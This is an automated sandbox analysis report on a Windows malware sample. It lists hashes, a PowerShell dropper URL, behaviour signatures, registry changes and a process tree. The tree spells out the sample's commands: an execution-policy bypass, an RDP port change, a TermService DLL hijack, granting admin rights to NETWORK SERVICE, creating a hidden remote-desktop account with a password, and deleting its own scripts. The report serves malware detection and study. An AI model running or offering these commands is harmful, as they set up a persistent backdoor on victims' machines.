57bd1d7a3ce9a10797575f75af56a675b3739ab5901e383a7870b17fa328ecb4

Analysis

max time kernel
140s
max time network
118s
platform
windows10_x64
resource
win10v20210408
submitted
26-06-2021 19:18

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General

Target

0533044b6e65dbe2c84f78e43a37a0a0.exe
Size

5.7MB
MD5

0533044b6e65dbe2c84f78e43a37a0a0
SHA1

0513796322ed3364335eb9c47faad3324ff162fc
SHA256

57bd1d7a3ce9a10797575f75af56a675b3739ab5901e383a7870b17fa328ecb4
SHA512

b2dca40a006af96fdb10adc20d9ae8bdb4f3d47d7b179ffd2f3598b9ef8ffe940fc0145f438694ca2b9950c09cd625609824506bdc191ee9077116749406c6d6

Score

10^/10

persistence upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 9 IoCs

flow	pid	Process
16	3600	powershell.exe
18	3600	powershell.exe
19	3600	powershell.exe
20	3600	powershell.exe
22	3600	powershell.exe
24	3600	powershell.exe
26	3600	powershell.exe
28	3600	powershell.exe
30	3600	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
596	Sua.exe.com
1584	Sua.exe.com
2840	Sua.exe.com

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076
Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000001ab23-240.dat	upx
behavioral2/files/0x000700000001ab24-241.dat	upx

Deletes itself 1 IoCs

pid	Process
2944	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3984	Process not Found
3984	Process not Found

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1584 set thread context of 2840	1584	Sua.exe.com	85

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe

Drops file in Windows directory 19 IoCs

description	ioc	Process
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_1syn4sqg.lzb.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_vgufw1y1.g4k.psm1	powershell.exe
File created	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDDED.tmp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDE4C.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDE5D.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDE6D.tmp	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGIDE7E.tmp	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Flags = "33"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\CurrentLevel = "73728"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\DisplayName = "Local intranet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1400 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\LowIcon = "inetcpl.cpl#005424"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\SelfHealCount = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Description = "This zone contains all Web sites that are on your organization's intranet."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1200 = "3"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\1400 = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\CurrentLevel = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1200 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Icon = "shell32.dll#0016"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\@ivt = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
932	reg.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3852	PING.EXE

Script User-Agent 4 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	18	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	19	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	20	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	22	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
2944	powershell.exe
2944	powershell.exe
2944	powershell.exe
3696	powershell.exe
3696	powershell.exe
3696	powershell.exe
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
2944	powershell.exe
2944	powershell.exe
2944	powershell.exe
3600	powershell.exe
3600	powershell.exe
3600	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
636	Process not Found
636	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2944	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeIncreaseQuotaPrivilege	3696	powershell.exe
Token: SeSecurityPrivilege	3696	powershell.exe
Token: SeTakeOwnershipPrivilege	3696	powershell.exe
Token: SeLoadDriverPrivilege	3696	powershell.exe
Token: SeSystemProfilePrivilege	3696	powershell.exe
Token: SeSystemtimePrivilege	3696	powershell.exe
Token: SeProfSingleProcessPrivilege	3696	powershell.exe
Token: SeIncBasePriorityPrivilege	3696	powershell.exe
Token: SeCreatePagefilePrivilege	3696	powershell.exe
Token: SeBackupPrivilege	3696	powershell.exe
Token: SeRestorePrivilege	3696	powershell.exe
Token: SeShutdownPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeSystemEnvironmentPrivilege	3696	powershell.exe
Token: SeRemoteShutdownPrivilege	3696	powershell.exe
Token: SeUndockPrivilege	3696	powershell.exe
Token: SeManageVolumePrivilege	3696	powershell.exe
Token: 33	3696	powershell.exe
Token: 34	3696	powershell.exe
Token: 35	3696	powershell.exe
Token: 36	3696	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeIncreaseQuotaPrivilege	2148	powershell.exe
Token: SeSecurityPrivilege	2148	powershell.exe
Token: SeTakeOwnershipPrivilege	2148	powershell.exe
Token: SeLoadDriverPrivilege	2148	powershell.exe
Token: SeSystemProfilePrivilege	2148	powershell.exe
Token: SeSystemtimePrivilege	2148	powershell.exe
Token: SeProfSingleProcessPrivilege	2148	powershell.exe
Token: SeIncBasePriorityPrivilege	2148	powershell.exe
Token: SeCreatePagefilePrivilege	2148	powershell.exe
Token: SeBackupPrivilege	2148	powershell.exe
Token: SeRestorePrivilege	2148	powershell.exe
Token: SeShutdownPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeSystemEnvironmentPrivilege	2148	powershell.exe
Token: SeRemoteShutdownPrivilege	2148	powershell.exe
Token: SeUndockPrivilege	2148	powershell.exe
Token: SeManageVolumePrivilege	2148	powershell.exe
Token: 33	2148	powershell.exe
Token: 34	2148	powershell.exe
Token: 35	2148	powershell.exe
Token: 36	2148	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeIncreaseQuotaPrivilege	3832	powershell.exe
Token: SeSecurityPrivilege	3832	powershell.exe
Token: SeTakeOwnershipPrivilege	3832	powershell.exe
Token: SeLoadDriverPrivilege	3832	powershell.exe
Token: SeSystemProfilePrivilege	3832	powershell.exe
Token: SeSystemtimePrivilege	3832	powershell.exe
Token: SeProfSingleProcessPrivilege	3832	powershell.exe
Token: SeIncBasePriorityPrivilege	3832	powershell.exe
Token: SeCreatePagefilePrivilege	3832	powershell.exe
Token: SeBackupPrivilege	3832	powershell.exe
Token: SeRestorePrivilege	3832	powershell.exe
Token: SeShutdownPrivilege	3832	powershell.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeSystemEnvironmentPrivilege	3832	powershell.exe
Token: SeRemoteShutdownPrivilege	3832	powershell.exe
Token: SeUndockPrivilege	3832	powershell.exe
Token: SeManageVolumePrivilege	3832	powershell.exe
Token: 33	3832	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1832 wrote to memory of 2384	1832	0533044b6e65dbe2c84f78e43a37a0a0.exe	77
PID 1832 wrote to memory of 2384	1832	0533044b6e65dbe2c84f78e43a37a0a0.exe	77
PID 1832 wrote to memory of 2384	1832	0533044b6e65dbe2c84f78e43a37a0a0.exe	77
PID 2384 wrote to memory of 1492	2384	cmd.exe	79
PID 2384 wrote to memory of 1492	2384	cmd.exe	79
PID 2384 wrote to memory of 1492	2384	cmd.exe	79
PID 1492 wrote to memory of 2148	1492	cmd.exe	80
PID 1492 wrote to memory of 2148	1492	cmd.exe	80
PID 1492 wrote to memory of 2148	1492	cmd.exe	80
PID 1492 wrote to memory of 596	1492	cmd.exe	81
PID 1492 wrote to memory of 596	1492	cmd.exe	81
PID 1492 wrote to memory of 3852	1492	cmd.exe	82
PID 1492 wrote to memory of 3852	1492	cmd.exe	82
PID 1492 wrote to memory of 3852	1492	cmd.exe	82
PID 596 wrote to memory of 1584	596	Sua.exe.com	83
PID 596 wrote to memory of 1584	596	Sua.exe.com	83
PID 1584 wrote to memory of 2840	1584	Sua.exe.com	85
PID 1584 wrote to memory of 2840	1584	Sua.exe.com	85
PID 1584 wrote to memory of 2840	1584	Sua.exe.com	85
PID 1584 wrote to memory of 2840	1584	Sua.exe.com	85
PID 2840 wrote to memory of 2944	2840	Sua.exe.com	86
PID 2840 wrote to memory of 2944	2840	Sua.exe.com	86
PID 2944 wrote to memory of 3916	2944	powershell.exe	88
PID 2944 wrote to memory of 3916	2944	powershell.exe	88
PID 3916 wrote to memory of 2300	3916	csc.exe	89
PID 3916 wrote to memory of 2300	3916	csc.exe	89
PID 2944 wrote to memory of 3696	2944	powershell.exe	90
PID 2944 wrote to memory of 3696	2944	powershell.exe	90
PID 2944 wrote to memory of 2148	2944	powershell.exe	93
PID 2944 wrote to memory of 2148	2944	powershell.exe	93
PID 2944 wrote to memory of 3832	2944	powershell.exe	95
PID 2944 wrote to memory of 3832	2944	powershell.exe	95
PID 2944 wrote to memory of 1632	2944	powershell.exe	98
PID 2944 wrote to memory of 1632	2944	powershell.exe	98
PID 2944 wrote to memory of 932	2944	powershell.exe	99
PID 2944 wrote to memory of 932	2944	powershell.exe	99
PID 2944 wrote to memory of 1380	2944	powershell.exe	100
PID 2944 wrote to memory of 1380	2944	powershell.exe	100
PID 2944 wrote to memory of 3600	2944	powershell.exe	101
PID 2944 wrote to memory of 3600	2944	powershell.exe	101
PID 3600 wrote to memory of 2132	3600	net.exe	102
PID 3600 wrote to memory of 2132	3600	net.exe	102
PID 2944 wrote to memory of 3644	2944	powershell.exe	103
PID 2944 wrote to memory of 3644	2944	powershell.exe	103
PID 3644 wrote to memory of 3628	3644	cmd.exe	104
PID 3644 wrote to memory of 3628	3644	cmd.exe	104
PID 3628 wrote to memory of 2740	3628	cmd.exe	105
PID 3628 wrote to memory of 2740	3628	cmd.exe	105
PID 2740 wrote to memory of 3172	2740	net.exe	106
PID 2740 wrote to memory of 3172	2740	net.exe	106
PID 2944 wrote to memory of 2208	2944	powershell.exe	107
PID 2944 wrote to memory of 2208	2944	powershell.exe	107
PID 2208 wrote to memory of 3404	2208	cmd.exe	108
PID 2208 wrote to memory of 3404	2208	cmd.exe	108
PID 3404 wrote to memory of 1848	3404	cmd.exe	109
PID 3404 wrote to memory of 1848	3404	cmd.exe	109
PID 1848 wrote to memory of 4044	1848	net.exe	110
PID 1848 wrote to memory of 4044	1848	net.exe	110
PID 2260 wrote to memory of 656	2260	cmd.exe	114
PID 2260 wrote to memory of 656	2260	cmd.exe	114
PID 656 wrote to memory of 1352	656	net.exe	115
PID 656 wrote to memory of 1352	656	net.exe	115
PID 3836 wrote to memory of 824	3836	cmd.exe	118
PID 3836 wrote to memory of 824	3836	cmd.exe	118

C:\Users\Admin\AppData\Local\Temp\0533044b6e65dbe2c84f78e43a37a0a0.exe
"C:\Users\Admin\AppData\Local\Temp\0533044b6e65dbe2c84f78e43a37a0a0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1832
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd < Sembri.msi
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2384
- - C:\Windows\SysWOW64\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V /R "^XQEyYadmfWSQDrabDldTAIAXftifvkpFGaizkPlkqriNYNkvbdDAcnefdHPUkqerMhpkVYjNZySvAMYCSKSuIIpifRrEqdqZqtqLDqBntPBdGFPDIhwAiW$" Dipinte.msi
      4⤵
      PID:2148
  - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sua.exe.com
      Sua.exe.com J
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:596
    - - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sua.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sua.exe.com J
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:1584
      - C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sua.exe.com
        
        C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Sua.exe.com
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2840
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
        7⤵
        Deletes itself
        Drops file in Windows directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2944
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3mszpazg\3mszpazg.cmdline"
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3916
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES88A9.tmp" "c:\Users\Admin\AppData\Local\Temp\3mszpazg\CSC3C0283C3D0648619D8DA8BDEB87BBCF.TMP"
        9⤵
        
        PID:2300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3696
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2148
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3832
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
        8⤵
        
        PID:1632
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
        8⤵
        Modifies registry key
        
        PID:932
        
        C:\Windows\system32\reg.exe
        
        "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
        8⤵
        
        PID:1380
        
        C:\Windows\system32\net.exe
        
        "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3600
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
        9⤵
        
        PID:2132
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3644
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start rdpdr
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3628
        
        C:\Windows\system32\net.exe
        
        net start rdpdr
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:2740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        11⤵
        
        PID:3172
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2208
        
        C:\Windows\system32\cmd.exe
        
        cmd /c net start TermService
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:3404
        
        C:\Windows\system32\net.exe
        
        net start TermService
        10⤵
        Suspicious use of WriteProcessMemory
        
        PID:1848
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        11⤵
        
        PID:4044
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
        8⤵
        
        PID:3924
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
        8⤵
        
        PID:1848
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1 -n 30
      4⤵
      Runs ping.exe
      PID:3852

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc Ghar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:2260
- C:\Windows\system32\net.exe
  net.exe user wgautilacc Ghar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:656
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
    3⤵
    PID:1352

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc D2kFlKIV /add
1⤵
- Suspicious use of WriteProcessMemory
PID:3836
- C:\Windows\system32\net.exe
  net.exe user wgautilacc D2kFlKIV /add
  2⤵
  PID:824
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc D2kFlKIV /add
    3⤵
    PID:408

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:928
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:1368
